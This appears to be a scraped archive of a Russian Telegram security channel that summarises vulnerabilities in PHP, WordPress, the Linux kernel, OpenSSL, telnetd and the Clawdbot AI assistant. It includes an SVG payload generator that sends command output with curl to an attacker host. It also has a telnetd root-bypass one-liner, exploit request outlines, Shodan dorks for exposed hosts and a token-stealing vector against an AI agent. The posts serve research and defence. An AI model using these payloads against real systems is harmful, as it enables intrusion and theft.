HaHacking
前往频道在 Telegram
>> HaHacking Hacking Club; ± Family-friendly канал с доступной информацией — Личный сборник о мире безопасности; Обработанные знания из разных уголков ИБ 🗂 [security] [pentest] [offense] [defense] [web] [infrastructure] :~$ @qwqoro
显示更多2 495
订阅者
+324 小时
+457 天
+5730 天
帖子存档
2 496
![// болтология: смешные [+ не очень] истории вокруг php2shell; felt cute, might delete later 0️⃣ Таймлайн Казалось бы: критиче](data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/2wBDASstLTw1PHZBQXb4pYyl+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj/wAARCAAoACgDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDIpyLvOMhfc02nAd+PpQA5k28eYp+hphGD1B+lTIUDDco29xUTDnjpTYDaKKKQBTx9P0plLk+tADvw/Sg+w/SlddsasJASeoHamZPrQAlFFFABS4NFFABzjFGD6UUUAJRRRQB//9k=)
+2
// болтология: смешные [+ не очень] истории вокруг php2shell; felt cute, might delete later
0️⃣ Таймлайн
Казалось бы: критическая уязвимость, затрагивающая множество-множество сервисов (хоть и не весь интернет, это да, и даже оценки в 70% даны скорее для красоты➕CVSS 9.2, а не 10.0➕сложная эксплуатация, высокий порог) – и что мы видим из таймлайна? Вендор получил отчёты ещё в августе, рассмотрел их к концу сентября и не публиковал патч до конца октября 👄
Также с одной стороны здорово, что о проблеме было сообщено заранее, чтобы максимальное число разработчиков успело обратить внимание, с другой – это, конечно, создало суету и подначило ресёрчеров и преступников готовить тулкиты и потенциальные списки целей;
➕Бонус на подумать: некоторые проекты получили от PHP доступ к патчу раньше остальных [и, благодаря этому, одни из получивших, Chainguard, выложили сборки с патчем до официальной публикации патча, что позволило начать разработку эксплойта раньше времени];
1️⃣ Проблемы авторства➕гонки компаний
Лавры разделили между собой Calif, Wiz и OpenAI;
Calif и Wiz опубликовали разные таймлайны, из которых следует, что:
▪️Calif (а конкретнее 1 конкретный ресёрчер – Ryan Austin, @lcfr_hax) работал над репортами 01-21 августа; В частности первый хеш от репорта датирован 5 августа;
▪️Wiz работали над репортами 19-24 августа, открыто заявив об использовании ИИ (интересно, имеет ли эта история сходства с историей про уравнения Навье-Стокса и OpenAI, когда ИИ обнаружил решение одновременно с математиками, которые использовали этот ИИ, но это я так..);
Возникает [вроде резонный] вопрос: Calif понятно, но при чём тут Wiz? при чём тут вообще OpenAI??
▪️OpenAI пригласили Calif поучаствовать в инициативе "Patch the Planet" – дали Daybreak, чтоб ресёрчеры занялись AI-driven ресёрчами – ладно;
▪️Wiz же стали коллабораторами – тоже ладно; но они опубликовали свою статью вперёд Calif➕на пару минут раньше, чем официальные Github advisories от PHP➕захостили подкаст с обсуждением и (!!) преподнесли php2shell, как что-то, что было найдено ИИ – у них даже в названии "AI uncovers critical RCE vulnerabilities affecting 70% of the Internet", а "AI uncovers" != "uncovered with the help of AI"
И, конечно, Wiz купили красивый домен: php2shell.com
Уязвимость также прозвали phpbleed (потому что "Heartbleed-style memory disclosure") – тут смешно: твиттерские успели купить phpbleed.com, пока Wiz не сообразил
2️⃣ Гонки за PoC'ом
Как сказала выше, суета подначила ресёрчеров и преступников. Тут две стороны медали: некачественные PoC'и➕качественные PoC'и
С некачественными ясно: произошло наводнение из ИИ слопа➕проектов, содержащих малварь, и среди этого мусора крайне сложно стало разобраться, в чём вообще суть и что из этого на самом деле галлюцинации / намеренные спекуляции ради классов – и из-за того, что доступ к агентам теперь есть у многих, проблема серьёзно набирает обороты
С качественными немного обидно: тем, кто приближался к импакту (особенно до патча) [или делился слитым видео-демо, где девочка танцует], открыто желали всего самого плохого➕обвиняли в "нарушении эмбарго", заявляя, что они наводят панику и подвергают риску сервисы, которые ещё не получили возможность обновиться. В этом есть своя правда, но, боюсь, преступники не соблюдают эмбарго, а без ресёрча мы точно не сможем защитить себя сами, пока вендоры тянут в угоду маркетинга и подобного 🤷♀️
3️⃣ Отключение сайтов
Понравилось, что [после объявления от PHP] некоторые сайты (включая: гос. ресурсы Нидерландов и Финляндии, BreachForums, 4chan, ...) положили в ожидании патча – довольно редкая практика, но она имеет место быть, почему нет, если есть такая возможность
// но, впрочем, всё как всегда, к сожалению
// морали не будет
2 496
+2
🖥 #web #offense #события #заметки
➡️Что по unauth php2shell?
❗️
5.4 <= PHP < 8.2.35, 8.3.36, 8.4.27, 8.5.12
➕ WordPress, Drupal, Joomla, ...
🧩 ‟Calif: A tale of two PHP remote vulnerabilities”
🧩 ‟Wiz: PHP2Shell”
// и, конечно, php2shell.com, куда без этого
⬜️⬜️➖➖➖➖➖➖➖➖➖
⠀
⚡️ CVE-2026-109618: RCE // OOM corruption
🔗 github.com/ GHSA-w8hw-w9fx-j79w
TLDR: ~1 multipart POST запрос; // такой, чтобы память стала > 128 MiB*➕тело запроса осталось < 8 MiB**: *(стандартный лимит PHP'шной кучи) **(стандартный лимит PHP тела POST запроса) ➖ [chunked HTTP/1] или [HTTP/2 без⬜️ ⚡️Content-Length]➡️обход лимитаpost_max_size; ➖ много заголовков для частей multipart; ➖ много пустых, глубоко вложенных файловых полей (они не засчитываются вmax_file_uploads) ➖ OOM оставляет полусобранные$_FILES/$_POST& в завершение они освобождаются➡️RCE (mod_php);
CVE-2026-109619: RCE // stale global state
🔗 github.com/ GHSA-6wmf-4rv5-p3rp
TLDR: ~2 запроса, должны попасть на одного worker'а: 1️⃣ multipart запрос: ID сессии (⭐️ Ближайшее к PoC'у, что есть в открытом доступе➕не полный ИИ слоп & не содержит малварь, но не приводит к универсальному RCE; тем не менее, вполне играбельно (в исследовательских целях): [ github.com/9bie/php2shell-bypass-aslr-exp ] [ github.com/devploit/php2shell ] ⬜️⬜️➖➖➖➖➖➖➖➖➖ ▪️Shodan:PHPSESSID)➕поле upload-progress (PHP_SESSION_UPLOAD_PROGRESS) + файловая часть & OOM / другой триггер фатальной ошибки➡️PS(id) & PS(http_session_vars) остаются 2️⃣ multipart запрос такой же, но без файловой части; очистка использует PS(id)➡️UAF, утечка памяти через кукуPHPSESSID, RCE;
"X-Powered-By: PHP"
"X-Powered-By: PHP/XX"
http.component:"php" http.component_version:"XX"
▪️Nuclei / обнаружение PHP:
github.com/projectdiscovery/nuclei-templates/.../php-detect.yaml
▪️Nuclei / обнаружение уязвимого PHP:
➖github.com/Ademking/php2shell-nuclei-templates
➖github.com/projectdiscovery/nuclei-templates/.../CVE-2026-109618.yaml
🧩 github.com/assetnote/php2shell-scanner
🧩 github.com/PortSwigger/bambdas/.../ CVE-2026-109618CVE-2026-109619-PHP2ShellVulnerablePhpVersion.bambda
➕ добавили проверки в Active Scan++ в Burp Suite;
➡Stay safe!
@HaHacking 🐇2 496
📄 #web #infrastructure #события #заметки
➡️На днях произошла утечка приватных ключей промежуточного CA eMudhra: они были связаны с корневыми CA, которым доверяют Mozilla, Microsoft, Apple, Chrome➕их ключи вшиты во множество trust-store'ов;
// В случае Go назвали
CVE-2026-111943, в случае Mozilla – CVE-2026-113470;
💉Обзоры➕ключи:
🧩 ‟eMudhra Intermediate CA Compromise”
🧩 Fluepke/emudrahahahahaha
🧩 gist.github.com/Fluepke/9a10...2f48
🧩 gist.github.com/AGWA/5a78...9458
🧩 gist.github.com/UlisesGascon/10ed...3e02
💉Обсуждения➕суета:
➖groups.google.com/a/mozilla.org/g/dev-security-policy/c/0R3XLJL6FuE/m/0XofdebrAAAJ
➖bugzilla.mozilla.org/show_bug.cgi?id=2083449
➖news.ycombinator.com/item?id=50160877
💉Блокировки:
➖github.com/golang/go/issues/82345
➖github.com/electron/electron/commit/e022...0499
➖github.com/rustls/webpki/pull/546
➖github.com/nodejs/node/pull/66871
➖github.com/certifi/python-certifi/pull/437
➖. . .
💉Проверить клиент:
curl https://dv-g3b-emudhra.we-have-a-problem.com
curl https://dv-g3b-aaa-emudhra.we-have-a-problem.com43bffa19d6ef651451f6841e019931e96f6f2eaeff28ab4b6f1ce4576de2717b
49dd353dc2b919a3770645117d0e60c16115e7d1bc259eefe734b00ea434fe5f
5c0660a2b164910d8ff589c18e14552e9e0ec237dcefe2cb736d41a4811f81a0
63ecefee431d49523bc1136c4e72d0206a477086caf606cd5cf025686c109cf8
92c063d67e8f14db71d288e11266ffdaf69cbf115f7bab14f3bc2f68d25e0e30
e0254c7fcdc265e2f0f8a428dabb75ab4ae039b4872d62f5ee57f0877d5a8a41
ebed6475c2c2d80fcb199f3fe8dd6e6b3ce60b77eb15d4e42c3dec0c6f5b5105
ec4ffa1ad0ac88081314b7aaffef6a91f97cd57291bb5ba686c5415f5eb4f6b64;
EM OV TLS CA - G3C 4
EM EV TLS CA - G3C 56
EM DV TLS CA - G3C 230
EM OV CS CA - G3C 237
EM EV TLS CA - G3B 115
EM OV TLS CA - G3B 155
EM DV TLS CA - G3B 156
EM OV CS CA - G3B 662 496
+2
🌿 #infrastructure #offense #заметки
➡Видели же целую серию Linux LPE, ± аналогичных небезызвестным Dirty Cow & Dirty Pipe [спасибо им за флаги с машин HTB / OffSec'ов!] ?
⚡️ СЛОВАРИК ▪️Page cache / Страничный кэш — механизм временного хранения в RAM данных из файлов, чтобы быстрее к ним обращаться; ▪️Pipe — "неименованный" канал общения между двумя процессами; ▪️skb / Socket buffer / Буфер сокета — структура данных, представляющая сетевой пакет; ▪️Copy-On-Write / Копирование при записи — механизм оптимизации памяти; пока файл не изменяется, разные процессы читают одну и ту же область памяти [общую копию файла] ▪️Zero-copy — сама концепция оптимизации, чтобы ОС могла передавать данные без лишнего копирования;0️⃣ OG: Dirty Cow ▪️
CVE-2016-5195
▪️dirtycow.ninja
▪️PoC
➡️Race Condition в Copy-On-Write (= COW)➡️ломается маппинг read-only памяти, допускается перезапись➡️LPE (write);
1️⃣ Dirty Pipe
▪️CVE-2022-0847
▪️dirtypipe.cm4all.com
▪️PoC
➡️Не проинициализировали pipe_buffer.flags, он мог использовать устаревшее значение PIPE_BUF_FLAG_CAN_MERGE (которое указывает, можно ли смержить [page cache pipe'а➡️ в связанную страницу])➡️допускается перезапись page cache через splice()➡️LPE (write);
==== мы здесь = в 2026 году ====
2️⃣ Copy Fail
▪️CVE-2026-31431
▪️copy.fail
▪️xint.io/blog/copy-fail-linux-distributions
▪️PoC
➡️Логическая бага в криптографии (authencesn) через AF_ALG➡️допускается перезапись page cache по 4 байта➡️LPE (write);
3️⃣ Copy Fail 2 / Dirty Frag
▪️CVE-2026-43284, CVE-2026-43500
▪️github.com/V4bel/dirtyfrag
▪️PoC
➡️RxRPC дешифрует 8-байтовые блоки, шифр слабый + допускается перезапись page cache по 4 байта через IPsec (XFRM/ESP)➡️LPE (write);
4️⃣ Copy Fail 3 / Fragnesia
▪️CVE-2026-46300
▪️github.com/v12-security/pocs/fragnesia
➡️После фикса ситуации с XFRM/ESP (??) не прокидывался флаг SKBFL_SHARED_FRAG (который указывает, что страницы ещё используются другими подсистемами = их нельзя переписывать)➡️допускается перезапись page cache➡LPE (write);
5️⃣ Dirty Decrypt / Dirty CBC
▪️CVE-2026-31635
▪️github.com/v12-security/pocs/dirtydecrypt
➡️В RxGK не хватало защиты, обеспечивающей Copy-on-Write➡️дешифрованные данные из skb попадали в page cache без создания приватной копии➡️допускается перезапись page cache➡️LPE (write);
6️⃣ Dirty Clone
▪️CVE-2026-43503
▪️research.jfrog.com/...dirtyclone-cve-2026-43503
➡️ При клонировании пакета у итогового клона теряется флаг SKBFL_SHARED_FRAG (помните из Fragnesia?)➡️допускается перезапись page cache через клон skb➡LPE (write);
⬆️ Все они внесли вклад в разрастание семьи Page Cache Corruption уязвимостей; 🐇🐇🐇
Honorable mention, чтобы не уходить далеко от недавних проблем с ядром; 0️⃣ ssh-keysign-pwn ▪️@HaHacking 🐇CVE-2026-46333▪️github.com/0xdeadbeefnetwork/ssh-keysign-pwn ➡️Race Condition в__ptrace_may_access()➡️возможна кража дескрипторов файлов, открытых привилегированными процессами➡️LPE (read);
2 496
![👩💻 #web #offense #заметки #события ➡wp2shell — unauth RCE чейн, уязвимы WordPress'ы версий [включительно]: ▪️ 6.9.0 – 6.9.](data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/2wBDASstLTw1PHZBQXb4pYyl+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj/wAARCAAXACgDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDNyf8AIo3Y96BSEkmmAb/rQNpHJ/Wk/wA9KFxg59aBC7U9f1opDj2ooAXNHU+tFFAxdpHUGkHTFFFADcn1ooooEf/Z)
+1
👩💻 #web #offense #заметки #события
➡wp2shell — unauth RCE чейн, уязвимы WordPress'ы версий [включительно]:
▪️
6.9.0 – 6.9.4 (2 декабря – 11 марта 2026)
▪️ 7.0.0 – 7.0.1 (20 мая – 9 июля 2026)
▪️ немного* 6.8.0 – 6.8.5 (*только SQLi)
🔗 Чекер: wp2shell.com
🔗 PoC: github.com/Icex0/wp2shell-poc
🔗 PoC: github.com/0xsha/wp2shell
🔗 PoC: github.com/dinosn/wp2shell-lab
🔗 PoC: github.com/sergiointel/wp2shell-poc
⚡️ ШАГ 1: CVE-2026-63030
0️⃣ POST /wp-json/batch/v1 или POST /?rest_route=/batch/v1 — unauth метод, принимающий целый список подзапросов к API в виде JSON, прим.:
{
"requests": [
{
"path": "/wp/v2/posts"
},
{
"method": "POST",
"path": "/wp/v2/users/me"
}
]
}$matches + $validation;
Если какой-то запрос не прошёл проверку** wp_parse_url() — массивы $matches + $validation рассинхронизируются➡️один подзапрос может быть выпущен с хендлером другого подзапроса;
**Например, такой запрос: GET http://:
2️⃣ Далее рассинхрон поможет сметчить привилегированный хендлер (из $match) + с методом, для которого хочется обойти валидацию;
⚡ *ШАГ 2: CVE-2026-60137
0️⃣ GET /wp/v2/posts/<id> — метод, который после валидации передаёт свои параметры (author_exclude, orderby, per_page, ...) функции get_items();
1️⃣ author_exclude➡️мапится в WP_Query.author__not_in, который вставляется в SQL запрос;
⬆️ ИТОГ: можем вызвать GET /wp/v2/posts/999999?author_exclude=<SQLi_payload> [в составе batch-запроса] в обход проверок! Дальше становятся доступны: выгрузка административных кредов, заливка веб-шелла, [...]
➡Почитать ещё: ▪️ ‟wp2shell: Pre Authentication RCE in WordPress Core” ▪️ ‟Exploit brokers pay $500,000 for a WordPress RCE. I found one with GPT5.6 Sol Ultra and $25” ▪️ ‟wp2shell hits WordPress: detecting pre-auth RCE from plugin drop to command execution”@HaHacking 🐇
2 496
+1
ХАХАКИНГ – ВСЁ! ⚡️
#события #заметки #offense #infrastructure #web #ai
➡️Ладно, шучу. Пока вы тут, вот ещё смешные простые & эффективные атаки на популярные продукты за последнее время для поднятия духа;
▪️ OpenSSL DoS (HollowByte)
🔗 sec.okta.com/.../openssl-hollowbtye-a-dos-hiding-in-11-bytes
Оказалось, что если пообещать большое тело для
ClientHello запроса и не предоставить его, память выделится, а сам процесс зависнет в ожидании [из-за недостаточной валидации] ¯\_(ツ)_/¯➕после обрыва соединения память освобождается не сразу, можно настакать запросы;
Судя по всему, пейлоад должен быть примерно из такого разряда:
[16] [03 03] [00 06] [01] [XX XX XX] [03 03]
[16 ] - Handshake
[03 03 ] - TLS v1.2
[00 06 ] - Record length
[01 ] - ClientHello
[XX XX XX] - ClientHello length [!!!]
[03 03 ] - ClientHello body (TLS v1.2)
e.g: 16 03 03 00 7A 01 00 00 76 03 034.0.1, 3.6.3, 3.5.7, 3.4.6, 3.0.21 и свежее);
▪️ Bing Images RCE
🔗 xbow.com/blog/bing-images-rce-vulnerabilities
Оказалось, что если у Bing попросить reverse search'нуть SVG, внутри которого команды – он их исполнит ¯\_(ツ)_/¯➕может перенаправить вывод на OOB-сервер атакующего, по ссылкам вполне ходит;
Таким образом собирали SVG-файл с полезной нагрузкой:
#!/usr/bin/env python3
import base64
import sys
command = sys.argv[1]
oob = "[OOB-COLLECTOR]"
svg = '<?xml version="1.0" encoding="UTF-8"?>\n'
svg += '<svg xmlns="http://www.w3.org/2000/svg" '
svg += 'xmlns:xlink="http://www.w3.org/1999/xlink" '
svg += 'width="100" height="100">\n'
svg += ' <image xlink:href="|' + command
svg += ' | curl -d @- http://' + oob + '/output" '
svg += 'width="100" height="100"/>\n'
svg += '</svg>'Видели, кстати, что YouTube тоже добавили чат с ИИ под видео? Думаем
*Компания Meta Platforms Inc. признана экстремистской организацией, и ее деятельность запрещена на территории РФ. Facebook и Instagram являются ее продуктами. Реализация Facebook и Instagram на территории РФ запрещена Но как вы это читаете? ✍️@HaHacking 🐇
2 496
🍾 #web #enumeration #offense #инструменты
➡️Сравнение 3 инструментов для обнаружения HTTP Request Smuggling, в том числе — в рамках лабораторий Web Security Academy от PortSwigger:
Всё потому что попался под руку инструмент smugglex — написан на Rust, тестирует веб-приложения на предмет возможности проведения
CL.TE, TE.CL, TE.TE, H2C & H2 атак;
🧩 PortSwigger/http-request-smuggler
➖ Бесплатное расширение для BurpSuite;
➖ Доступна тонкая настройка сканирования;
➖ Результаты анализируешь сам☹️
🧩 defparam/smuggler
➖ Python-скрипт;
➖ Возможна собственная конфигурация;
➖ Подсвечивает проблемы! ⚡️
➖ [Из коробки] заметил неладное в 12 / 22 лаб;
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u https://█████.web-security-academy.netbrew install hahwul/smugglex/smugglex
smugglex https://█████.web-security-academy.net./garden.sh start --build gunicorn nginx squid./garden.sh repl garden> payload 'GET / HTTP/1.1\r\nHOST: a\r\n\r\n' | transduce squid | fanout | grid2 496
✈️ #web #offense #заметки
➡️Красивый Account Takeover при аутентификации в сервисе через Telegram бота ➖ Обязательно к прочтению, если интересны OAuth баги➕как выглядит whitebox в коммерческих пентестах:
🧩 ‟Захват аккаунта через telegram-бот: от своего номера к чужому профилю” (@arkiixBlog)
⬜️ Дано: ⬇️ Telegram бот просит поделиться контактом ⬇️ Записывает номер контакта в➡️Спасибо коллегам, кто поучаствовал в создании статьи – получилось здорово😊 @HaHacking 🐇session.Phone⬇️ Сравниваетuser_idотправителя /user_idконтакта ➡️ Если ок – Присылает ссылку для входа ➡️ Если жизнь ссылки истекла – Предлагает новую (на основеsession.Phone) Задача: Получить ссылку для входа в другой аккаунт! ⬜️
2 496
🦞 #события #ai #web #offense
➡Простите, но продолжение; Хочется обсудить ещё несколько проблем, которые были обнаружены специалистами по безопасности в ИИ-ассистенте Clawdbot Moltbot➕которые могуть быть обнаружены вами в похожих проектах:
0️⃣ E-MAIL SPOOFING
🔖 x.com/slonser_/status/2016114641105998086
Помните ресерч @slonser_notes про проблемы парсинга в почтовых сервисах / библиотеках — ‟Old new email attacks”? Вот ещё один вариант его применения: судя по посту, вектор примерно такой ⬇️
ClawdHub MoltHub. Когда кто-то устанавливает навык, происходят следующие вызовы:
▪️
⬜️ ▪️ X➡️Y: ✉️ ▪️ Moltbot: парсит ✉️ от X➡️передаёт Y ⚡️ НО из-за некорректного парсинга специально сформированного письма Moltbot пишет Y, что письмо пришло от, например, Z ▪️ Y отвечает через Moltbot, думая, что отвечает Z➡️ответ получает X ⬜️1️⃣ НАКРУТКА СТАТИСТИКИ 🔖 ‟eating lobster souls Part II: the supply chain” У Moltbot есть собственный Open-Source "магазин" навыков –
downloadZip: собирает навык, формирует архив, вызывает increment;
▪️ increment: делает +1 к статистике по скачиваниям навыка;
*️⃣ Нет: лимитов / привязки к пользователю;
*️⃣ Есть: в других местах – такая проверка IP ⬇️
// convex/httpApiV1.ts:695-704
function getClientIp(request: Request) {
const header =
request.headers.get('cf-connecting-ip') ??
request.headers.get('x-real-ip') ??
request.headers.get('x-forwarded-for') ??
request.headers.get('fly-client-ip')
if (!header) return null
if (header.includes(',')) return header.split(',')[0]?.trim() || null
return header.trim()
}X-Forwarded-For: значит, перебирая значения заголовка, возможно заставить магазин думать, что установки навыка были "уникальными" — злоумышленник может создать вредоносный навык➕без труда вывести его в топ по скачиваниям ⚡️
2️⃣ XSS через SVG
🔖 ‟eating lobster souls Part III (the finale)”
Наконец, при загрузке навыка в MoltHub, магазин сохраняет информацию о том, какой был указан Content-Type:
// convex/httpApiV1.ts:555-564
const contentType = file.type || undefined Content-Type:
// convex/httpApiV1.ts:377-386
'Content-Type': file.contentType authToken / authRefreshToken / ... в localStorage;
➡️ Если загрузить в навык SVG, внутри которого – XHTML с полезной нагрузкой для эксплуатации XSS, отображение SVG приводило к выполнению JS кода атакующего в контексте clawdhub.com, где явно есть что эксплуатировать➕эксфильтровать ⚡️
3️⃣ 1-CLICK RCE
🔖 ‟One-click RCE on Clawd/Moltbot”
🔗 github.com/ethiack/moltbot-1click-rce
А тут сюр [в хорошем смысле]: ИИ нашёл уязвимость в ИИ (Hackian / Moltbot);
⬜️ В пути к "Clawdbot Control" можно передать параметр➡ Пользователь может попасть на вредоносный сайт, который будет открывать окно сgatewayUrl, ссылающийся на WebSocket:{DASHBOARD}/chat?gatewayUrl=wss://{GATEWAY}/gw▪ Предыдущее значениеgatewayUrlпереписывается ▪ На новыйgatewayUrlсразу приходят токены изlocalStorage▪ Далее API запросы будут летать по новому пути; ⬜️
{DASHBOARD}/chat?gatewayUrl=wss://{MALICIOUS-GATEWAY}/gw➕окно, в котором [после получения токена] произойдёт валидация токена и открытие сессии с ботом, у которого запросят удалённое выполнение команд ⚡
➡Stay safe!
@HaHacking 🐇2 496
🦞 #события #ai #offense
➡️Новости из однобуквенной соцсети: куча шума вокруг Clawdbot — ИИ-ассистент, который действительно действует как ассистент:
✅ Управляет почтой ✅ Управляет календарём ✅ Управляет заметками ✅ Управляет соцсетями ✅ Управляет мессенджерами, в т.ч. корпоративными ✅ Управляет паролями ✅ Взаимодействует с браузером ✅ Взаимодействует с системой ✅ Взаимодействует с другими ИИ! ✅ И даже круче: можно поселить его в Telegram бота! ⬜️Удобно, что он разворачивает собственный шлюз на порту
18789➕веб-интерфейс "Clawdbot Control", который по умолчанию не требует от тебя ничего➡️сотни хостов, где можно пообщаться с Clawdbot в контексте чужих систем:
▪️Shodan: http.title:"Clawdbot Control"
▪️Shodan: http.favicon.hash:-805544463
▪️FOFA: title=="Clawdbot Control"
▪️FOFA: icon_hash="-805544463"
✍️ На прикреплённом скриншоте показываю как оно выглядит: обнаруженный мной хост, который кто-то уже атаковал;
➡️Последствия ⬇️
⬜️ ❌ Утечка конфиденциальной информации (письма, документы, пароли, API-ключи, исходный код, ...) ❌ Удалённое исполнение кода ❌ Финансовые потери ❌ Что ещё нужно? 💀 ⬜️➡️Как обезопасить ⬇️
⬜️ ➖Запускать в изолированной среде (не на личной системе, где есть что терять / не на сервере, который доступен снаружи) ➖Выделить боту отдельные эл. почту / номер телефона / аккаунты / ... ➖НастроитьТут неприменимы полумеры: важно не забывать, что запрос может прийти и из внутренней сети; Что если его пошлёт соседнее приложение? ➡Напоследок Clawdbot оперативно сменили название на Moltbot! ⚡️ 🔖 ‟hacking clawdbot and eating lobster souls” @HaHacking 🐇bind: "loopback"/bind: "tailnet"вместоbind: "all"в конфигурации шлюза ➖Настроить Pairing для сопряжения пользователь➕бот в рамках мессенджеров / устройство➕бот в рамках системы ➖Настроить белые списки идентификаторов пользователей для мессенджеров ➖Настроить белый список IP ➖Повесить аутентификацию ➖Периодически менять API ключи ➖Настроить лимиты, логи, алерты ➖. . . ⬜️
2 496
📠 #события #infrastructure #ad #offense
➡️Снова критические уязвимости! ⚡️
В этот раз: обход аутентификации➡️сразу к
root! С публичным PoC➕использованием в природе;
CVE-2026-24061 — CVSS (v3) ~9.8, Improper Neutralization of Argument Delimiters in a Command / Argument Injection➡️Authentication Bypass в telnetd: появилась тут и была с нами 10+ лет (GNU InetUtils v1.9.3 – v2.7 / 2015 – 2025 гг.);
1️⃣ В v1.9.3 добавили возможность подставить username из переменной окружения USER, чтобы починить автовход для случаев, когда не была доступна аутентификация Kerberos.
Сервер telnetd обращается к /usr/bin/login (обычно работает из-под root)➕передаёт ему значения для входа, в том числе и USER – вместо %U:
...
char *login_invocation =
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
......
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
.../usr/bin/login есть флаг -f — пропустить аутентификацию! (например, для автовхода getty)
Ему даже можно передать username / UID пользователя: login [-p] [-s shell] [-h host] [-H] [[-f] username|UID]; // Например, root 🐇
3️⃣ Значение USER не нормализуется; Возможно поместить туда дополнительные флаги для /usr/bin/login➕попросить telnet провести автовход (флаги -a / --login):
USER='-f qwqoro' telnet -a 127.0.0.1 2 496
🐰 #события
➡️✨🍎 С наступающим Новым годом! 🌟✨
Дорогие друзья, поздравляю с праздником нас, вас и ваших близких! Ну и с долгожданными выходными днями, конечно же;
// В этом году без градостроительства, как в 2023–2024, и арт-выставок, как в 2024–2025 — такова воля богов, но будем сегодня в завтрашний день смотреть;
Зато есть список книг за год, список прогремевших CVE и тёплые слова!
От лица @HaHacking хочу пожелать каждому из вас замечательнейшего праздника сегодня:
✅ Вкуснючих блюд!
✅ Отличного настроения!
✅ 0 страшных инцидентов
✅ 0 срочных рабочих задач
✅ 0 гномов-отчётокрадов
➡️Начиная смотреть в завтрашний день: пусть новый год откроет для нас новые горизонты, чтоб нам было что исследовать, и чтобы это исследование приносило лишь положительные эмоции и всевозможные блага!
⢀⠀⠀⠀⠀⠀⠈ .⠈ ⠀ .⠀⠈⠀⠀⢀ ⠈. ⠁
⠀⠀.⢀ ⠁ ⠁⠀⠀⠀⢀⠀⠀⡰⡇⠁⠀ ⠁ ⠁ .
⠀⠀⠀⠀ ⠀⠀⠀⠀⠰⢾⠇⠨⡦⠀⠂⠀ ⢀
⢀⠀⠀⠀ ⠁ ⠀⠀⡀⠀⢈⣹⠜⠻⢾⠃ ⢀.
⠀⠀⢀ ⠀⠀⠀⠁⢠⣿⡵⠾⣻⣶⠿⠦⠀ ⢀
⠀⢀ ⠀⠁⢀⠀⢀⣠⣮⣦⡶⠻⠛⢶⣄⡀⠁ ⠁
⠀ ⠀⠀⠀⢀⣽⠏⠁⣠⣂⣦⣈⣝⣦⣄⠀ ⠀ ⢀
⠀⠀⠀⠁⣠⣾⣵⣾⣾⠟⡙⠟⠿⣍⡉⠀⠀⢀
⢀⠁ ⠀⢀⠁⠀⠄⣠⣶⣾⣭⡶⠟⠻⣶⡰⣜⣳⣦⣄⠀⡀ ⠁⢀
⠀⠀ ⢀⣠⣴⣿⣋⡴⣪⠎⣄⡙⠻⠿⣯⣉⠉
⠀⠂⠀⢀⣉⡭⢿⡛⣛⣵⠎⠀⠙⢾⣶⣦⣭⣷⣦⠐ ⢀
⠁ ⠀ ⢈⣙⣿⡿⠿⠟⣋⢅⡄⡄⡐⣄⢤⣉⠷⢦⣄⣀⠠
\\ ⠐⠾⠿⢽⣷⡶⠶⡿⣓⣭⣾⣿⢷⣬⣓⢿⠿⠿⣯⣉⣁ |/
_() ⠀ ⠉⠉⠉⠛⠛⠉⢀⣿⢿⡀⠙⠋⠓⠿⠿⠏⠉⠉ ()_
